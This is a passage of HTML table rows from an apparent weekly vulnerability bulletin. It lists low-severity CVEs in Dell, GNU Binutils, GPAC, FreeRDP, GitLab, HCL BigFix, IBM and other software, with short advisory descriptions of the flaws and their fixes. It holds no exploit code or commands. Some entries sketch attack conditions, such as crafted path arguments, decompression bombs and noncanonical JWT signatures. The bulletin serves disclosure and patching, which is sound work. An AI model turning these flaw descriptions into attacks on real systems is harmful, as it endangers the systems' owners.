&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93976&quot; target=&quot;_blank&quot;&gt;CVE-2026-93976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cohesity--NetBackup Flex OS&lt;/td&gt;
&lt;td&gt;An authenticated user with access to the NetBackup Flex OS management shell could read arbitrary files from the underlying operating system by supplying a specially crafted path argument to a diagnostic command. Successful exploitation could expose sensitive system configuration and credential material stored on the appliance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28199&quot; target=&quot;_blank&quot;&gt;CVE-2026-28199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cosmicstack-labs--mercury-agent&lt;/td&gt;
&lt;td&gt;A weakness has been identified in cosmicstack-labs mercury-agent up to 1.2.0. This affects the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Permission Manifest. Executing a manipulation can lead to information disclosure. The attack is restricted to local execution. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90811&quot; target=&quot;_blank&quot;&gt;CVE-2026-90811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Dell OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains Use of a Broken or Risky Cryptographic Algorithm vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81438&quot; target=&quot;_blank&quot;&gt;CVE-2026-81438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--OpenManage Server Administrator Managed Node (Patch) for Windows&lt;/td&gt;
&lt;td&gt;Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Incorrect Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81439&quot; target=&quot;_blank&quot;&gt;CVE-2026-81439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--SmartFabric Manager&lt;/td&gt;
&lt;td&gt;Dell SmartFabric Manager, versions prior to 2.2.1, contains an Improper Handling of Insufficient Permissions or Privileges vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54471&quot; target=&quot;_blank&quot;&gt;CVE-2026-54471&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Update Package Framework&lt;/td&gt;
&lt;td&gt;Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Link Resolution Before File Access (&#039;Link Following&#039;) vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71181&quot; target=&quot;_blank&quot;&gt;CVE-2026-71181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Update Package Framework&lt;/td&gt;
&lt;td&gt;Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Link Resolution Before File Access (&#039;Link Following&#039;) vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71182&quot; target=&quot;_blank&quot;&gt;CVE-2026-71182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Exim--Exim&lt;/td&gt;
&lt;td&gt;Exim before 4.100.1, when certain non-default TLS settings are used with GnuTLS, has a use-after-free.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94055&quot; target=&quot;_blank&quot;&gt;CVE-2026-94055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fluent--fluent-plugin-s3&lt;/td&gt;
&lt;td&gt;fluent-plugin-s3 is an Amazon S3 input and output plugin for Fluentd. From 0.7.0 to 1.8.4, the in_s3 input plugin reads the entire decompressed payload of gzip, lzma2, and lzop objects into memory without enforcing a decompression_size_limit. An attacker with permission to upload objects to the monitored S3 bucket can provide a highly compressed object that expands excessively when Fluentd processes it. The resulting memory exhaustion can cause the operating system to terminate the Fluentd process and disrupt all log collection on the affected node. This issue is fixed in version 1.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44162&quot; target=&quot;_blank&quot;&gt;CVE-2026-44162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains a use-after-free vulnerability in the smartcard RDPDR device handler when worker thread creation fails after device registration. Attackers can trigger thread creation failure during channel setup to cause device pointer deallocation while devman retains a reference, leading to crash or code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91957&quot; target=&quot;_blank&quot;&gt;CVE-2026-91957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user with project-level permissions to access restricted file contents on the server or cause denial of service due to improper validation of parameters in the Terraform state upload functionality.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3855&quot; target=&quot;_blank&quot;&gt;CVE-2026-3855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GNU Binutils 2.47. This affects the function _bfd_elf_eh_frame_section_offset of the file bfd/elf-eh-frame.c of the component Eh Frame Handler. Performing a manipulation results in null pointer dereference. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91779&quot; target=&quot;_blank&quot;&gt;CVE-2026-91779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A weakness has been identified in GNU Binutils 2.47. This impacts the function elf_link_add_object_symbols of the file bfd/elflink.c. Executing a manipulation can lead to null pointer dereference. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91780&quot; target=&quot;_blank&quot;&gt;CVE-2026-91780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in GNU Binutils 2.47. Affected is the function elf_x86_64_common_section_index of the file bfd/elf64-x86-64.c of the component ELF Section Handler. The manipulation leads to null pointer dereference. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. Upgrading to version 2.48 is able to address this issue. The identifier of the patch is 7322e9bc30cb282575a701c307851fd3d66fee68. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91781&quot; target=&quot;_blank&quot;&gt;CVE-2026-91781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--Binutils&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GNU Binutils 2.47. Affected by this vulnerability is the function elf_x86_allocate_dynrelocs of the file bfd/elfxx-x86.c of the component Dynamic Relocation Allocation. The manipulation results in null pointer dereference. The attack requires a local approach. The exploit is now public and may be used. Upgrading to version 2.48 addresses this issue. The patch is identified as d1268210b6f6/471130b39c0/283d3198bed/0a84e560216/a692a633d40. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91782&quot; target=&quot;_blank&quot;&gt;CVE-2026-91782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--libredwg&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GNU libredwg 0.13.4. This impacts the function DWG_TABLE of the file src/dwg.spec of the component Layer Encoding. Performing a manipulation results in null pointer dereference. The attack needs to be approached locally. The exploit has been released to the public and may be used for attacks. Upgrading to version 0.14 will fix this issue. The patch is named f5b548c4c1697d66c3dabd0f6a49280a14365a3a. The affected component should be upgraded. The FIELD_HANDLE macro itself is NULL-safe (emits null_handle) - only the two raw zeroing assignments added by 27118c40 (&quot;encode: also disable LAYER.material&quot;) dereferenced a NULL material handle; the fix restores the file&#039;s existing if (_obj-&amp;gt;style) guard convention for material.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90622&quot; target=&quot;_blank&quot;&gt;CVE-2026-90622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go--neuvector&lt;/td&gt;
&lt;td&gt;The NeuVector JWT verifier accepts noncanonical Base64URL encodings of the same RSA signature field. An attacker holding a valid JWT that has not expired, but was logged out of NeuVector, can continue using the non-expired token with equivalent spelling of the RSA signature field until the token validity expires.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78426&quot; target=&quot;_blank&quot;&gt;CVE-2026-78426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GPAC up to f1219cde. The impacted element is an unknown function of the file scenegraph/vrml_tools.c of the component MP4Box. Such manipulation leads to null pointer dereference. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is sufficient to resolve this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90609&quot; target=&quot;_blank&quot;&gt;CVE-2026-90609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was found in GPAC up to f1219cde. This affects the function gf_svg_attributes_copy of the file scenegraph/svg_attributes.c of the component MP4Box. Performing a manipulation results in buffer over-read. The attack is only possible with local access. The exploit has been made public and could be used. Upgrading to version abi-16.23 mitigates this issue. The patch is named afca1f1181668d85941d51ed1adf647807d5d975. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90610&quot; target=&quot;_blank&quot;&gt;CVE-2026-90610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC up to f1219cde. This impacts the function xmt_parse_element of the file scene_manager/loader_xmt.c of the component MP4Box. Executing a manipulation can lead to reachable assertion. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 will fix this issue. This patch is called afca1f1181668d85941d51ed1adf647807d5d975. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90611&quot; target=&quot;_blank&quot;&gt;CVE-2026-90611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC up to f1219cde. Affected is the function gf_sm_dump_command_list of the file scene_manager/scene_dump.c of the component MP4Box. The manipulation leads to reachable assertion. The attack must be carried out locally. The exploit is publicly available and might be used. Upgrading to version abi-16.23 is able to address this issue. The identifier of the patch is afca1f1181668d85941d51ed1adf647807d5d975. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90612&quot; target=&quot;_blank&quot;&gt;CVE-2026-90612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GPAC up to f1219cde. Affected by this vulnerability is the function stbl_GetSampleInfos of the file isomedia/stbl_read.c of the component MP4Box. The manipulation results in reachable assertion. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. Upgrading to version abi-16.23 addresses this issue. The patch is identified as 49dee5cad329cfed310c1682703df7daa47df31a. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90613&quot; target=&quot;_blank&quot;&gt;CVE-2026-90613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GPAC up to f1219cde. Affected is the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. Performing a manipulation results in reachable assertion. Attacking locally is a requirement. The exploit is now public and may be used. Upgrading to version abi-16.23 is able to address this issue. The patch is named 49dee5cad329cfed310c1682703df7daa47df31a. It is advisable to upgrade the affected component. This is not a duplicate of CVE-2021-46237 or CVE-2021-46234.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90683&quot; target=&quot;_blank&quot;&gt;CVE-2026-90683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GPAC 26.07.0. Affected is the function gf_sg_dom_event_bubble of the file src/scenegraph/dom_events.c of the component MP4Box. The manipulation leads to stack-based buffer overflow. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is able to address this issue. The identifier of the patch is 9eb40df4448b88d6a6ce3454657c06f47eff0b24. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90824&quot; target=&quot;_blank&quot;&gt;CVE-2026-90824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was found in GPAC 26.07.0. Affected by this vulnerability is the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. The manipulation results in use after free. The attack is only possible with local access. The exploit has been made public and could be used. Upgrading to version abi-16.23 addresses this issue. The patch is identified as 9eb40df4448b88d6a6ce3454657c06f47eff0b24. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90825&quot; target=&quot;_blank&quot;&gt;CVE-2026-90825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC 26.07.0. This affects the function gf_node_deactivate_ex of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to use after free. The attack must be carried out locally. The exploit is publicly available and might be used. Upgrading to version abi-16.23 is able to mitigate this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90827&quot; target=&quot;_blank&quot;&gt;CVE-2026-90827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC up to f1219cde. The affected element is the function gf_node_activate_ex of the file scenegraph/base_scenegraph.c. This manipulation causes stack-based buffer overflow. It is possible to launch the attack on the local host. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 is sufficient to fix this issue. Patch name: 9eb40df4448b88d6a6ce3454657c06f47eff0b24. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;3.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91090&quot; target=&quot;_blank&quot;&gt;CVE-2026-91090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC 26.08-DEV. The affected element is the function gf_node_deactivate_ex of the file src/scenegraph/base_scenegraph.c of the component MP4Box. Executing a manipulation can lead to use after free. The attack needs to be launched locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.24 is sufficient to fix this issue. This patch is called e34f4ba349d55cd1849f0bcf4cf46552732e2db7. The affected component should be upgraded. This issue is distinct from CVE-2026-90827.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92472&quot; target=&quot;_blank&quot;&gt;CVE-2026-92472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC 26.08-DEV. The impacted element is the function gf_sg_command_del of the file src/scenegraph/commands.c of the component BIFS Handler. The manipulation leads to use after free. The attack needs to be performed locally. The exploit is publicly available and might be used. Upgrading to version abi-16.24 is sufficient to resolve this issue. The identifier of the patch is e34f4ba349d55cd1849f0bcf4cf46552732e2db7. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92473&quot; target=&quot;_blank&quot;&gt;CVE-2026-92473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in GPAC 26.08-DEV. This affects the function gf_inline_get_proto_lib of the file src/compositor/mpeg4_inline.c of the component Proto Link Handler. The manipulation results in use after free. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. Upgrading to version abi-16.24 mitigates this issue. The patch is identified as e34f4ba349d55cd1849f0bcf4cf46552732e2db7. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92474&quot; target=&quot;_blank&quot;&gt;CVE-2026-92474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A flaw has been found in GPAC up to f1219cde. Affected by this vulnerability is the function gf_node_get_field_count of the file scenegraph/base_scenegraph.c of the component MP4Box. Executing a manipulation can lead to reachable assertion. It is possible to launch the attack on the local host. The exploit has been published and may be used. Upgrading to version abi-16.23 addresses this issue. This patch is called 49dee5cad329cfed310c1682703df7daa47df31a. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90684&quot; target=&quot;_blank&quot;&gt;CVE-2026-90684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GPAC up to f1219cde. Affected by this issue is the function lsr_exec_command_list of the file laser/lsr_dec.c of the component MP4Box. The manipulation leads to reachable assertion. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 can resolve this issue. The identifier of the patch is afca1f1181668d85941d51ed1adf647807d5d975. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90685&quot; target=&quot;_blank&quot;&gt;CVE-2026-90685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC 26.07.0. Affected by this issue is the function gf_node_del of the file scenegraph/base_scenegraph.c of the component MP4Box. This manipulation causes out-of-bounds read. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 can resolve this issue. Patch name: afca1f1181668d85941d51ed1adf647807d5d975. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90826&quot; target=&quot;_blank&quot;&gt;CVE-2026-90826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by an Administrative Session Concurrency vulnerability. The application allows multiple simultaneous authenticated sessions for the same administrative account, which could enable an unauthorized attacker to predict or hijack valid session identifiers. Successful exploitation allows an attacker to compromise affected administrative sessions and execute actions with full privileged user permissions.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21806&quot; target=&quot;_blank&quot;&gt;CVE-2026-21806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by a CORS Misconfiguration vulnerability due to improperly validated origin headers, which could allow an attacker to craft a malicious web page that interacts with the vulnerable application, enabling unauthorized access to protected resources and restricted APIs on behalf of a victim.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56595&quot; target=&quot;_blank&quot;&gt;CVE-2026-56595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
&lt;td&gt;HCL BigFix Service Management is affected by a Sensitive Information Leakage vulnerability, which could allow an unauthenticated attacker to extract internal IP addresses from the application&#039;s responses, enabling them to map the underlying network topology and identify potential internal targets.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56597&quot; target=&quot;_blank&quot;&gt;CVE-2026-56597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--i&lt;/td&gt;
&lt;td&gt;IBM i 7.6, 7.5, 7.4, and 7.3 could allow a denial of service as a result of a buffer overflow in a PASE process. An authenticated attacker could leverage this to terminate their own process.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19086&quot; target=&quot;_blank&quot;&gt;CVE-2026-19086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 9.0 and 8.5 is affected by a log injection vulnerability through crafted LTPA token cookies.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11538&quot; target=&quot;_blank&quot;&gt;CVE-2026-11538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--WebSphere Application Server&lt;/td&gt;
&lt;td&gt;IBM WebSphere Application Server 8.5 and 9.0 could allow a remote attacker to obtain sensitive information from the administrative console due to missing authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
